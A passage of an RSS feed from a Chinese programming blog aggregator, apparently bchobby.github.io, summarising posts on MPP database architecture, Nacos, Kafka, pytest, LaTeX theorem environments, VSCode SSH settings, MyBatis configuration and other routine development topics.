      <description>数据库构架设计中主要有Shared Everthting、Shared Nothing、和Shared Disk：&#xA;Shared Everthting:一般是针对单个主机，完全透明共享CPU/MEMORY/IO，并行处理能力是最差的，典型的代表SQLServer&#xA;Shared Disk：各个处理单元使用自己的私有 CPU和Memory，共享磁盘系统。典型的代表Oracle Rac， 它是数据共享，可通过增加节点来提高并行处理的能力，扩展能力较好。其类似于SMP（对称多处理）模式，但是当存储器接口达到饱和的时候，增加节点并不能获得更高的性能 。&#xA;Shared Nothing：各个处理单元都有自己私有的CPU/内存/硬盘等，不存在共享资源，类似于MPP（大规模并行处理）模式，各处理单元之间通过协议通信，并行处理和扩展能力更好。典型代表DB2 DPF和hadoop ，各节点相互独立，各自处理自己的数据，处理后的结果可能向上层汇总或在节点间流转。&#xA;我们常说的 Sharding 其实就是Share Nothing架构，它是把某个表从物理存储上被水平分割，并分配给多台服务器（或多个实例），每台服务器可以独立工作，具备共同的schema，比如MySQL Proxy和Google的各种架构，只需增加服务器数就可以增加处理能力和容量。&#xA;MPP概念 MPP即大规模并行处理（Massively Parallel Processor ）。 在数据库非共享集群中，每个节点都有独立的磁盘存储系统和内存系统，业务数据根据数据库模型和应用特点划分到各个节点上，每台数据节点通过专用网络或者商业通用网络互相连接，彼此协同计算，作为整体提供数据 库服务。非共享数据库集群有完全的可伸缩性、高可用、高性能、优秀的性价比、资源共享等优势。&#xA;大规模并行处理(MPP)架构&#xA;例子 Greenplum是一种基于PostgreSQL的分布式数据库。其采用shared nothing架构（MPP），主机，操作系统，内存，存储都是自我控制的，不存在共享。也就是每个节点都是一个单独的数据库。节点之间的信息交互是通过节点互联网络实现。通过将数据分布到多个节点上来实现规模数据的存储，通过并行查询处理来提高查询性能。&#xA;这个就像是把小数据库组织起来，联合成一个大型数据库。将数据分片，存储在每个节点上。每个节点仅查询自己的数据。所得到的结果再经过主节点处理得到最终结果。通过增加节点数目达到系统线性扩展。&#xA;elasticsearch也是一种MPP架构的数据库，Presto、Impala等都是MPP engine，各节点不共享资源，每个executor可以独自完成数据的读取和计算，缺点在于怕stragglers，遇到后整个engine的性能下降到该straggler的能力，所谓木桶的短板，这也是为什么MPP架构不适合异构的机器，要求各节点配置一样。&#xA;Spark SQL应该还是算做Batching Processing, 中间计算结果需要落地到磁盘，所以查询效率没有MPP架构的引擎（如Impala）高。</description>
    </item>
    <item>
      <title>Nacos的连接错误：ErrCode:-401, ErrMsg:Client not connected,current status:STARTING的解决办法</title>
      <link>https://bchobby.github.io/posts/c3c40928075992fccba807712e509ec1/</link>
      <pubDate>Tue, 07 Sep 2021 18:34:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c3c40928075992fccba807712e509ec1/</guid>
      <description>最近在将HASentinel（https://gitee.com/laofeng/hasentinel）接入Nacos配置中心，在连接的时候怎么都不能够连接成功，报错误：&#xA;ErrCode:-401, ErrMsg:Client not connected,current status:STARTING&#xA;使用的Nacos server及client的版本都是2.0.3。&#xA;创建ConfigService使用的是方法ConfigFactory.createConfigService(Properties)，如下所示：&#xA;反复确认过Properties中所有的配置都正确，通过Debug跟踪代码，发现通过传入Properties传入参数构造对象ServerListManager时，会将isFixed这个变量设置为true，如下所示：&#xA;ServerListManager对象创建成功，会调用启动连接的start()方法，如下所示：&#xA;但是在start()方法会同时判断isStarted及isFixed两个参数，只要有一个的值为true，就会立即返回不继续往下执行，如下所示：&#xA;但是在前面isFixed已经被修改为了true，因而就不会继续执行连接操作，对isFixed变量进行了跟踪，发现只有这么一处业务逻辑。&#xA;于是下载最新的代码，修改ServerListener.start()的判断逻辑去掉去isFixed的判断：&#xA;if (isStarted) { return; } 然后重新编码api、common、client模块，版本为2.1.0-SNAPSHOT，然后在pom中重新依赖这些模块，再次启动就不再报上面的401错误。&#xA;难道就我一个遇到？后面继续跟进该问题！</description>
    </item>
    <item>
      <title>Unity 点击 随机选择</title>
      <link>https://bchobby.github.io/posts/2a89f340b3c1a1aa26b8f7aec15e085d/</link>
      <pubDate>Tue, 07 Sep 2021 16:50:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2a89f340b3c1a1aa26b8f7aec15e085d/</guid>
      <description>using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.UI; public class RandomSelect : MonoBehaviour { Button btn; public Text text; public GameObject coverImage; public Transform[] items; public ParticleSystem ps; void Start () { btn = GetComponent&amp;lt;Button&amp;gt;(); btn.onClick.AddListener(StartRandom); ps.Stop(); } int index = 0; void Update () { if(isRandoming) { if(randomTime&amp;gt;0) { //Debug.Log(randomTime); randomTime -= Time.deltaTime; if(randomTime&amp;lt;0) { ps.Play(); } stepTime -= Time.deltaTime; if(stepTime&amp;lt;0) { if (index == items.Length) index = 0; coverImage.</description>
    </item>
    <item>
      <title>github pages 无法加载css的问题</title>
      <link>https://bchobby.github.io/posts/fa6fc19cf6955e3d46278c3b026abc09/</link>
      <pubDate>Tue, 07 Sep 2021 15:56:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fa6fc19cf6955e3d46278c3b026abc09/</guid>
      <description>今天再将sphinx自动生成的html上传到github上面充当说明文档，遇到了一个问题，就是_static/css/路径下的css和js文件加载不出来，查了很多方法，都没有试成功，其实后面我测试的时候发现，只要带下划线的文件里面的内容都无法访问，这是因为github pages的jekyll模版会忽略下划线开头的文件，所以要禁用jekyll。&#xA;禁用方法就是在项目根目录下添加一个空白文件，命名为：.nojekyll&#xA;这样就解决了无法加载_static文件的问题。&#xA;note：在操作的时候，不要开代理服务器，发现我网络开着代理服务器，还是没有加载成功，幸好自己在手机上试了试发现可以正常显示css样式，然后让同学试了试也没问题，这才找到问题。&#xA;另外记录一下整个过程：&#xA;关于sphinx生成说明文档的过程，可以查看我的这篇博客使用sphinx自动生成python项目说明文档，下面是在说明文档已经生成之后的步骤：&#xA;1.首先创建一个仓库，仓库的名字antsesame.github.io，注意antsesame可以修改，后面的github.io是不可以修改的，建议尽量和自己的github名字一样（我的github名字就是antsesame），这样直接通过antsesame.github.io就可以访问，如果你设置的是其他的名字比如abc.github.io,后面访问的时候需要通过antsesame.github.io/abc.github.io才可以进行访问。&#xA;2.点击settings，找到github Pages，点击check it out here&#xA;3.branch选择main，后面选择/(root)，这个地方选择/(root)是指的你的仓库的根目录就是root目录，所以index直接放到仓库根目录下就可以，如果选择/docs，意味着你得建一个docs文件夹，docs是项目的github pages根目录，然后index放到docs这个文件下。另外在这里可以直接看到访问的站点信息。&#xA;4.然后往仓库里面放网站的内容就可以了，由于我的是通过sphinx生成的html所以我直接把html中的所有内容放到根目录就可以了。&#xA;5.通过settings中的github Pages上面显示的站点信息访问就可以了。（注意此处已经将空白的.nojekyll文件放到根目录下了。）&#xA;参考：&#xA;sphinx生成说明文档放到github pages官方指南&#xA;https://daler.github.io/sphinxdoc-test/includeme.html&#xA;在github上搭建个人博客&#xA;https://zhuanlan.zhihu.com/p/28321740</description>
    </item>
    <item>
      <title>电脑无法连接到网络的解决方法（可能，不妨试一试）</title>
      <link>https://bchobby.github.io/posts/bc588c4cc71edf4120f740b45e5779e4/</link>
      <pubDate>Tue, 07 Sep 2021 15:42:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bc588c4cc71edf4120f740b45e5779e4/</guid>
      <description>出现的状况： 情况一： 1.打开“控制面板&#34;-&amp;gt;&#34;网络和Internet&#34;&#xA;2.点击&#34;网络和共享中心&#34;&#xA;3.点击“更改适配器设置”&#xA;4.看是否WLAN已禁用，若禁用，则点击”WLAN&#34;&#xA;​​​​​​​​​​​​​​&#xA;5.点击“启用此网络设备”即可。&#xA;情况二：&#xA;重置网络试一下：&#xA;1.打开设置并搜索“网络重置”即可&#xA;2.点击“网络重置”</description>
    </item>
    <item>
      <title>小白入门-------如何将阿里云盘挂载到本地（Windows）</title>
      <link>https://bchobby.github.io/posts/5c5f8f040b8bc91f7fe5de8e2d0747b8/</link>
      <pubDate>Mon, 06 Sep 2021 20:39:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c5f8f040b8bc91f7fe5de8e2d0747b8/</guid>
      <description>这里写自定义目录标题 先来看一下效果：普通人需要掌握的知识：需要的软件支持第一步下载webdav-aliyundriver的包第二步下载Java运行环境JDK1：首先下载JDK2：安装JDK3：配置环境4：验证安装是否成功 第三步 运行webdav-aliyundriver包然后，然后，最后一步就要完成了：挂载实现 注意！！！所有的包 先来看一下效果： 普通人需要掌握的知识： 会安装软件、用鼠标键盘即可！！！&#xA;需要的软件支持 由于将阿里云盘挂载到本地是借助于阿里云webDAV协议，我们不必了解他是什么，借助于GitHub上大神zxbu的webdav-aliyundriver的包即可。然后借助开源免费的RaiDrive软件就能将阿里云挂载到本地。&#xA;所有需要下载的包在文后有链接。&#xA;第一步下载webdav-aliyundriver的包 下载地址：源代码地址https://github.com/zxbu/webdav-aliyundriver&#xA;第二步下载Java运行环境JDK 由于所使用的包采用的为JAVA语言，运行需要软件环境，所以需要下载安装JDK。&#xA;所以需要下载安装并配置环境。&#xA;具体安装步骤如下：&#xA;1：首先下载JDK JDK官方下载地址：&#xA;https://www.oracle.com/cn/java/technologies/javase/javase-jdk8-downloads.html&#xA;打开网址直接下拉，找到对应的系统版本，然后下载。&#xA;2：安装JDK 双击运行安装包更改安装路径，不要安装到C盘根据提示安装完成 3：配置环境 右击计算机图标，选择属性&#xA;2.下拉找到 高级系统设置 3.单机进去，找到环境变量&#xA;在系统变量里新建&#34;JAVA_HOME&#34;变量，变量值为：F:\java\jdk1.8（JDK的安装路径）；&#xA;在系统变量里新建&#34;classpath&#34;变量,并添加值：(注意点别漏了)&#xA;.;%JAVA_HOME%\lib;%JAVA_HOME%\lib\tools.jar&#xA;4.找到path变量添加变量值：%JAVA_HOME%\bin;%JAVA_HOME%\jre\bin&#xA;4：验证安装是否成功 cmd打开命令行，执行java -version 出现如下画面，则表示安装成功：&#xA;第三步 运行webdav-aliyundriver包 1.打开阿里云盘的网页版&#xA;没有阿里云盘账号的点这里：&#xA;注册阿里云&#xA;登陆后，按F2打开软件的源代码：然后点击应用程序，然后进入本地存储、&#xA;在下拉里面找到refresh——token，复制即可&#xA;2.打开windows的cmd环境：&#xA;输入&#xA;java -jar 你电脑本地的存放jar的路径 --aliyundrive.refresh-token=&#34;你的阿里云token&#34; --server.port=8181 --aliyundrive.auth.enable=true --aliyundrive.auth.user-name=设置用户名 --aliyundrive.auth.password=设置密码 --aliyundrive.work-dir=日志存放路径 回车运行后会显示：&#xA;然后浏览器输入网址：浏览器地址http://127.0.0.1:8181/&#xA;进入后输入你设置的用户名和密码&#xA;就会得到：&#xA;然后，然后，最后一步就要完成了： 借助RaiDrive软件内支持的webDAV协议，所以需要下载RaiDrive软件。&#xA;下载地址：RaiDrive下载地址https://www.raidrive.com/&#xA;然后安装即可&#xA;挂载实现 打开RaiDrive软件，选择setting，设置中文简体选择NAS选项把地址的https改为http，然后输入127.0.0.1: 8181 和账户密码点击确定就可以大功告成了！ 注意！！！ cmd窗口内运行的相当于一个服务器程序，想要使用就必须运行上述的代码！没有尝试使用服务器作为中间的，网友们感兴趣可以尝试一下！第一次配置完成后，可以将这一行代码使用Windows的bat文件实现。 所有的包 阿里云下载地址：</description>
    </item>
    <item>
      <title>前端H5 video视频在360浏览器、微信内置浏览器层级提升（太高）问题</title>
      <link>https://bchobby.github.io/posts/1ec07fd9e0c6313f97167e62ebe21008/</link>
      <pubDate>Mon, 06 Sep 2021 13:08:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ec07fd9e0c6313f97167e62ebe21008/</guid>
      <description>我们在对页面进行浏览器兼容性测试的时候会发现页面中的视频在部分浏览器中（QQ浏览器、360浏览器、搜狗浏览器等）会被提升，这属于浏览器自身优化行为，无法通过CSS的z-index属性改变其层级关系。目前找到了360浏览器、微信内置浏览器的解决方案：&#xA;&amp;lt;video controls360=no // 360浏览器 webkit-playsinline playsinline x5-playsinline // 针对腾讯系 x5-video-player-type=&#34;h5-page&#34; // 针对腾讯系 src=&#34;src&#34; &amp;gt; &amp;lt;/video&amp;gt; 目前还未找到QQ、搜狗等浏览器的解决方案，有知道的大佬麻烦留言^_|</description>
    </item>
    <item>
      <title>Pytest测试框架（二）环境初始化与数据清除</title>
      <link>https://bchobby.github.io/posts/822669fdb7d32c964c904ed33c1082a5/</link>
      <pubDate>Sun, 05 Sep 2021 19:20:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/822669fdb7d32c964c904ed33c1082a5/</guid>
      <description>一、fixture的用途 pytest fixture 与setup,teardown功能一样，但比之更加灵活，完全可以代替setup,teardown&#xA;1.做测试前后的初始化设置，如测试数据准备，链接数据库，打开浏览器等这些操作都可以使用fixture来实现&#xA;2.测试用例的前置条件可以使用fixture实现&#xA;3.支持经典的xunit fixture ，像unittest使用的setup和teardown&#xA;4.fixture可以实现unittest不能实现的功能，比如unittest中的测试用例和测试用例之间是无法传递参数和数据的，但是fixture却可以解决这个问题。&#xA;二、fixture的定义 fixture通过@pytest.fixture()装饰器装饰一个函数，那么这个函数就是一个fixture&#xA;import pytest @pytest.fixture() def login(): print(&#39;登陆方法&#39;) yield #激活fixture teardown方法 print(&#39;teardown&#39;) # 测试用例之前，先执行login方法 def test_case1(login): print(&#39;case1&#39;) def test_case2(): print(&#39;case2&#39;) def test_case3(): print(&#39;case3&#39;) 运行结果如下：&#xA;test_login.py::test_case2 test_login.py::test_case3 ============================== 3 passed in 0.02s =============================== Process finished with exit code 0 登陆方法 PASSED [ 33%]case1 teardown PASSED [ 66%]case2 PASSED [100%]case3 三、共享 fixture 函数：conftest.py 1.conftest.py文件名字是固定的，不可以做任何修改&#xA;2.文件和用例文件在同一个目录下，那么conftest.py作用于整个目录&#xA;3.conftest.py文件不能被其他文件导入&#xA;4.所有同目录测试文件运行前都会执行conftest.py文件&#xA;在测试过程中，多个测试文件可能都要调用 fixture 函数，可以将其移动到 conftest.py 文件中。conftest.</description>
    </item>
    <item>
      <title>export 设置环境变量及删除</title>
      <link>https://bchobby.github.io/posts/51463f66c7e07a440fa3fad5667eca3f/</link>
      <pubDate>Sun, 05 Sep 2021 17:46:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/51463f66c7e07a440fa3fad5667eca3f/</guid>
      <description>1. 设置环境变量&#xA;export 变量名=值&#xA;2. 删除环境变量&#xA;unset 变量名&#xA;参考：&#xA;liunx 中如何删除export设置的环境变量 - fuhaizi - 博客园 (cnblogs.com)</description>
    </item>
    <item>
      <title>easyflash源码分析流程图</title>
      <link>https://bchobby.github.io/posts/e97404e262c18b0612a98821801c10e5/</link>
      <pubDate>Sun, 05 Sep 2021 12:07:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e97404e262c18b0612a98821801c10e5/</guid>
      <description>最近周末刚好有空，将easyflash源码看了一下，了解了作者的设计理念。将学习内容整理成流程图贴上来。&#xA;1. esayflash初始化流程&#xA;2. esayflash set_env</description>
    </item>
    <item>
      <title>stm32 uart4无法接收问题</title>
      <link>https://bchobby.github.io/posts/f7b3d864858df05a89d578597423ad8f/</link>
      <pubDate>Sat, 04 Sep 2021 22:02:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f7b3d864858df05a89d578597423ad8f/</guid>
      <description>项目用到了四个串口，usart1，2，3，和uart4,&#xA;使用了hal库&#xA;问题： usart1，2，3，都可以正常使用，但是uart4无法进入接收中断，一开始以为stm32的usart和uart的hal库使用有所不同，反复查看代码也没发现问题。中断也开启了&#xA;解决： 最后发现是在STM32CUBEMX中，没有勾选UART4的全局中断，&#xA;勾选后即可正常使用uart4</description>
    </item>
    <item>
      <title>C语言基础 -- uint32_t</title>
      <link>https://bchobby.github.io/posts/0b76bd15781dea2406ce76861f48a4ad/</link>
      <pubDate>Sat, 04 Sep 2021 21:54:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b76bd15781dea2406ce76861f48a4ad/</guid>
      <description> uint32_t 是一个32位的无符号整型。&#xA;使用这个类型需要加上头文件&#xA;#include &amp;lt;stdint.h&amp;gt;&#xA;unsigned int32_t 是错误的写法。&#xA;%x 是以16进制的形式来输出&#xA;例子：&#xA;我有一个32位的无符号整型的数，我想知道高16位和低16位相加的和是多少，结果以16进制输出？&#xA;#include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; #include &amp;lt;stdint.h&amp;gt; int main() { uint32_t i = 0x11223344; // i&amp;gt;&amp;gt;16 //得到高位 // i&amp;amp;0xFFFF //得到低位 //以16进制输出 printf(&#34;0x%x.\n&#34;,((i &amp;gt;&amp;gt;16) + (i &amp;amp; 0xFFFF))); return 0; } </description>
    </item>
    <item>
      <title>Kafka单节点安装部署</title>
      <link>https://bchobby.github.io/posts/380ad635b4cab0563e3422a8bcaf0656/</link>
      <pubDate>Sat, 04 Sep 2021 20:59:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/380ad635b4cab0563e3422a8bcaf0656/</guid>
      <description>本文主要是基于Kafka最新版kafka_2.12-2.8.0进行配置，这里ZooKeeper服务器的搭建主要是用kafka内置的ZooKeeper便捷脚本来快速简单地创建一个单节点ZooKeeper实例。&#xA;1、本地下载kafka文件，然后再把文件放到linux中 官网下载地址：https://kafka.apache.org/downloads&#xA;小提示：&#xA;小伙伴们看到kafka_2.12-2.8.0.tgz压缩包会很疑惑到底kafka的版本号是什么？&#xA;以kafka_2.12-2.8.0.tgz为例，2.12表示scala的版本，因为Kafka服务器端代码完全由Scala语音编写，”-“ 后面的2.8.0表示的kafka的版本信息，kafka的命名都是遵循这个规则的。但是Kafka新版客户端代码完全由Java语言编写，当然，不是Scala不行了，那是因为之前的Scala程序员隐退了，所以在社区找来了一批Java程序员来写Kafka新版客户端。&#xA;2、解压kafka_2.12-2.8.0.tgz文件 tar -xzf kafka_2.12-2.8.0.tgz&#xA;cd kafka_2.12-2.8.0&#xA;Kafka解压后，具体目录结构如下图所示：&#xA;Kafka中重要的四大配置文件如下：&#xA;kafka最重要的配置文件server.properties内容详细说明：&#xA;# 每个broker在集群中唯一存在，数值必须是正数；kafka根据id来识别broker机器，当该服务的地址发生变化时，broker.id没有变化，则不会影响consumers的消息情况。 broker.id=0 # broker server服务端口 port=9092 # broker的主机地址 host.name=localhost # 套接字服务器侦听的地址 listeners=PLAINTEXT://192.168.243.133:9092 # 代理将向生产者和消费者公布主机名和端口。如果没有设置， # 如果已配置，它将使用“侦听器”的值。否则，它将使用该值从java.net.InetAddress.getCanonicalHostName（）返回 advertised.listeners=PLAINTEXT://192.168.243.133:9092 # broker处理消息的最大线程数，一般情况下不需要去修改 num.network.threads=3 # broker处理磁盘IO的线程数，数值应该大于你的硬盘数 num.io.threads=8 # socket的发送缓冲区，socket的调优参数SO_SNDBUFF socket.send.buffer.bytes=102400 # socket的接受缓冲区，socket的调优参数SO_RCVBUFF socket.receive.buffer.bytes=102400 # socket请求的最大数值，防止serverOOM，message.max.bytes必然要小于socket.request.max.bytes，会被topic创建时的指定参数覆盖 socket.request.max.bytes=104857600 # kafka数据的存放地址，多个地址的话用逗号分割/root/kafka_2.12-2.8.0/log-1，/root/kafka_2.12-2.8.0/log-2 log.dirs=/root/kafka_2.12-2.8.0/logs # 每个topic的分区个数，若是在topic创建时候没有指定的话会被topic创建时的指定参数覆盖 num.partitions=1 # 在启动时用于日志恢复和在关闭时刷新的每个数据目录的线程数。 num.recovery.threads.per.data.dir=1 # 组元数据内部主题“__consumer_offsets”和“__transaction_state”的复制因子 # 对于除开发测试之外的任何其他内容，建议使用大于1的值以确保可用性，例如3。 offsets.topic.replication.factor=1 transaction.state.log.replication.factor=1 transaction.state.log.min.isr=1 # 日志文件因使用年限而有资格删除的最短使用年限 log.retention.hours=168 # topic的分区是以一堆segment文件存储的，这个控制每个segment的大小，会被topic创建时的指定参数覆盖 log.</description>
    </item>
    <item>
      <title>latex中如何设置定理定义环境的编号 &amp; newtheorem的用法</title>
      <link>https://bchobby.github.io/posts/f14e66f28d58d22bb65f18bd44e02d20/</link>
      <pubDate>Sat, 04 Sep 2021 16:47:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f14e66f28d58d22bb65f18bd44e02d20/</guid>
      <description> 出现Environment example undefined. 等错误，我们应该怎么办？&#xA;我们在使用definition环境、theorem环境、lemma环境、example环境等诸多数学环境之前，需要调用宏包amsthm，这个宏包是专门用来设置定理类环境，其次我们还需要给出它们的编号定义。&#xA;\newtheorem命令可以用来定义定理之类的环境，其语法如下：&#xA;{环境名}[编号延续]{显示名}[编号层次]&#xA;例1. 下面代码定义了四个环境：定义、定理、引理和推论，它们都在一个section内统一编号，而引理和推论会延续定理的编号&#xA;\newtheorem{definition}{定义}[subsection] % 跟随三级标题排序 \newtheorem{theorem}{定理}[section] %跟随二级标题排序 \newtheorem{lemma}[theorem]{引理} \newtheorem{corollary}[theorem]{推论} 下面给出写学术型论文常用的定理类环境的定义：&#xA;%=================== 定理类环境定义 =================== \newtheorem{example}{例} % 整体编号 \newtheorem{algorithm}{算法} \newtheorem{theorem}{定理}[section] % 按 section 编号 \newtheorem{definition}[theorem]{定义} \newtheorem{axiom}[theorem]{公理} \newtheorem{property}[theorem]{性质} \newtheorem{proposition}[theorem]{命题} \newtheorem{lemma}[theorem]{引理} \newtheorem{corollary}[theorem]{推论} \newtheorem{remark}[theorem]{注解} \newtheorem{condition}[theorem]{条件} \newtheorem{conclusion}[theorem]{结论} \newtheorem{assumption}[theorem]{假设} </description>
    </item>
    <item>
      <title>VScode连接远程失败？修改默认SSH为Git的SSH</title>
      <link>https://bchobby.github.io/posts/c36eed0bce607109c46bf94d43935102/</link>
      <pubDate>Sat, 04 Sep 2021 15:42:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c36eed0bce607109c46bf94d43935102/</guid>
      <description>问题 在进行VScode配置远程连接1的过程中遇到了连接失败的问题，VScode提示无法建立连接，并报错：&#xA;过程试图写入的管道不存在&#xA;解决办法 在网络上找了一些资料后，总结为本机的SSH配置出现了问题。&#xA;修改系统环境变量（无效） 首先修改了系统的环境变量2，将系统环境变量path中的%SYSTEMROOT%\System32\OpenSSH\删除，然后在路径中添加git目录下ssh的位置：&#xA;D:\ProgramFiles\Git\Git\usr\bin 修改保存后重启VS code进行连接测试并未生效。&#xA;在VScode中设置SSH的路径（有效） 随后，参考vscode远程连接更改ssh位置3。&#xA;首先，打开VScode的设置。&#xA;在搜索框搜索remote ssh Default Forwarded Ports，点击Edit in settings.json&#xA;在其中添加如下一条命令，修改SSH的默认路径为Git下的SSH：&#xA;&#34;remote.SSH.path&#34;: &#34;D:\\ProgramFiles\\Git\\Git\\usr\\bin\\ssh.exe&#34;, 修改后的配置如下图所示：&#xA;重新测试连接，在终端提示输入密码，然后成功建立连接。&#xA;参考文献 [效率]使用VScode连接远程服务器进行开发，这里优质彩笔，https://zhuanlan.zhihu.com/p/141205262，2021-09-04. ↩︎&#xA;VScode通过remote ssh连接虚拟机 &amp;amp; 报错 过程试图写入的管道不存在（已解决），tmhhh，https://blog.csdn.net/weixin_43569916/article/details/105168505，2021-09-04. ↩︎&#xA;vscode远程连接更改ssh位置，idestina，https://blog.csdn.net/idestina/article/details/113666172，2021-09-04. ↩︎</description>
    </item>
    <item>
      <title>UVM自学笔记3——项目之三——从零开始搭建ahb_sramc验证平台</title>
      <link>https://bchobby.github.io/posts/2185bb49261a299b784dfa27fdae85a3/</link>
      <pubDate>Sat, 04 Sep 2021 14:43:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2185bb49261a299b784dfa27fdae85a3/</guid>
      <description>创建如下所示的目录结构： 2.在tb的文件下：顶层的testbench如下：在tb中，第24行的代码将uvm宏相关的内容include进来，第26行的代码把uvm_pkg包导入进来，然后将agent相关的包（ahb_pkg/sram_pkg），testcase相关的包（uvm_ahb_sram_test_pkg）以及env相关的包(uvm_ahb_sram_env_pkg)都导入进来，在第38行和39行将接口以virtual interface的形式配置给ahb_agent和sramc_agent下的所有组件，之后在第41行通过run_test（）启动testbench。&#xA;在tests文件夹下的目录结构： 这个uvm_ahb_sram_test_pkg包的作用是将所有的testcase都include到当前的package下，其他所有的包功能都是类似的，此时我们只有一个名为uvm_ahb_sram_2的testcase基类，因此在第33行将该文件include进来。&#xA;Testcase_base的代码如下：&#xA;在build phase实例化env，在build_phase结束后的end_of_elabration_phase里面将拓扑结构打印出来。&#xA;env的文件目录如下： 将该env相关的类都包如pkg中：&#xA;Env的代码如下：在build_phase里实例化组件，包括reference model 、scoreboard和agent，在env的connect phase中，因为目前我们没有trans要传递，所以我们先不建立组件之间的连接。&#xA;Reference model的代码如下，包含有一个main phase，之后我们会在main phase中执行具体的操作。&#xA;同样，scoreboard的代码如下：包含有一个main phase&#xA;agent的目录结构如下： Ahb_if是其接口：&#xA;Driver代码如下：后续我们会具体进行完善，driver中connect_phase get到vif的配置信息，main_phase中有将激励灌入到DUT内部的主要方法do_drive()，我们注意到目前driver的main phase中是通过第58行代码接收到seqr传来的trans后，执行do_drive，但实际我们可能并非如此操作，比如ahb的二级流水当总线上hready为低时，我们按照这种方式可能会丢掉数据。这一点我们后面进行具体的更改。&#xA;Monitor的代码如下：monitor与driver具有一定的相似度，但又有所不同，monitor负责监视总线上的信号，并将pin级的信号打包成trans通过analysis port传递给reference model等组件。&#xA;Agent的代码如下：agent中实例化了driver monitor和sequencer，并且在connect phase中建立起组件之间的连接，将driver和sequencer以及monitor和agent中的port连接起来。&#xA;Sequence_item的代码如下：我们要在sequence_item中将interface中的信号包装成trans类型，并利用automatic_field将诸多自动函数调用。&#xA;Sequence的代码如下：&#xA;Sim文件夹的目录结构如下： Makefile的代码如下：&#xA;将所有组件的框架搭建起来以后，我们尝试跑一下testcase，发现没有fatal和error 接下来，我们看下拓扑结构：</description>
    </item>
    <item>
      <title>hive on spark 提交任务出现问题</title>
      <link>https://bchobby.github.io/posts/78d9a79b504e57dce110b7ceb4fe5c4a/</link>
      <pubDate>Sat, 04 Sep 2021 01:46:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/78d9a79b504e57dce110b7ceb4fe5c4a/</guid>
      <description>背景：&#xA;启动hive之前已经启动了hadoop、hiveserver2。而且已经进入到了hive的界面中，且创建好了表格和装载了数据，但是当进行sum操作的时候，报了下边的错误。spark session的问题？&#xA;org.apache.hadoop.hive.ql.parse.SemanticException: Failed to get a spark session: org.apache.hadoop.hive.ql.metadata.HiveException: Failed to create Spark client for Spark session 36a3f749-9322-43a8-b72c-cc8a6e92a542 检查之后把spark的配置文件hive-site.xml进行了修改，将超时时间扩大了，但是还是出现了一样的错误。&#xA;&amp;lt;property&amp;gt;&#xA;&amp;lt;name&amp;gt;hive.spark.client.connect.timeout&amp;lt;/name&amp;gt;&#xA;&amp;lt;value&amp;gt;10000ms&amp;lt;/value&amp;gt;&#xA;&amp;lt;/property&amp;gt;&#xA;解决策略&#xA;不使用spark来跑hive的程序，将spark配置的参数全部注释掉，走mr的底层可以进行查询，聚合操作。&#xA;如果想使用spark来跑程序，可以试下卸载重装。如果你有好的解决方法，希望可以提出来哟~</description>
    </item>
    <item>
      <title>使用Mybatis进行简单的sql查询（Mybatis入门）</title>
      <link>https://bchobby.github.io/posts/d82385bbac52e909cd3ff099ea8c34a9/</link>
      <pubDate>Fri, 03 Sep 2021 21:57:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d82385bbac52e909cd3ff099ea8c34a9/</guid>
      <description>最近呢，学习了mybatis的相关内容，就写下了这篇博客来记录顺便复习一下如何使用Mybatis来进行简单的sql语句查询。希望我写的这篇博客能帮助大家。有问题大家可以提出来，一起进步。&#xA;先来看看我的分包，一个好的分包能够让你更好的整理思路，大家要养成分包的习惯哦。&#xA;1.分包： 2.编写db.properties文件： driver=com.mysql.cj.jdbc.Driver url=jdbc:mysql://localhost:3306/mybatis?useSSL=false&amp;amp;serverTimezone=Hongkong&amp;amp;characterEncoding=utf-8&amp;amp;autoReconnect=true username=root password=201225qq 有没有觉得很眼熟？没错！在使用JDBC时我们也有这个步骤哦&#xA;3.编写Mybatis_config.xml核心配置文件： 我们在核心配置文件使用&amp;lt;properties resource=&#34;db.properties&#34;/&amp;gt;标签，就可以以引入外部的db.properties文件了。 &amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&amp;gt; &amp;lt;!DOCTYPE configuration PUBLIC &#34;-//mybatis.org//DTD Config 3.0//EN&#34; &#34;http://mybatis.org/dtd/mybatis-3-config.dtd&#34;&amp;gt; &amp;lt;!-- configuration:核心配置文件--&amp;gt; &amp;lt;configuration&amp;gt; &amp;lt;!-- 引入外部配置文件--&amp;gt; &amp;lt;properties resource=&#34;db.properties&#34;/&amp;gt; &amp;lt;typeAliases&amp;gt; &amp;lt;typeAlias type=&#34;com.xxx.pojo.User&#34; alias=&#34;User&#34;/&amp;gt; &amp;lt;/typeAliases&amp;gt; &amp;lt;environments default=&#34;development&#34;&amp;gt; &amp;lt;environment id=&#34;development&#34;&amp;gt; &amp;lt;transactionManager type=&#34;JDBC&#34; /&amp;gt; &amp;lt;dataSource type=&#34;POOLED&#34;&amp;gt; &amp;lt;property name=&#34;driver&#34; value=&#34;${driver}&#34; /&amp;gt; &amp;lt;property name=&#34;url&#34; value=&#34;${url}&#34;/&amp;gt; &amp;lt;property name=&#34;username&#34; value=&#34;${username}&#34; /&amp;gt; &amp;lt;property name=&#34;password&#34; value=&#34;${password}&#34; /&amp;gt; &amp;lt;/dataSource&amp;gt; &amp;lt;/environment&amp;gt; &amp;lt;/environments&amp;gt; &amp;lt;!-- 映射器--&amp;gt; &amp;lt;mappers&amp;gt; &amp;lt;mapper resource=&#34;com/xxx/mapper/UserMapper.xml&#34;/&amp;gt; &amp;lt;/mappers&amp;gt; 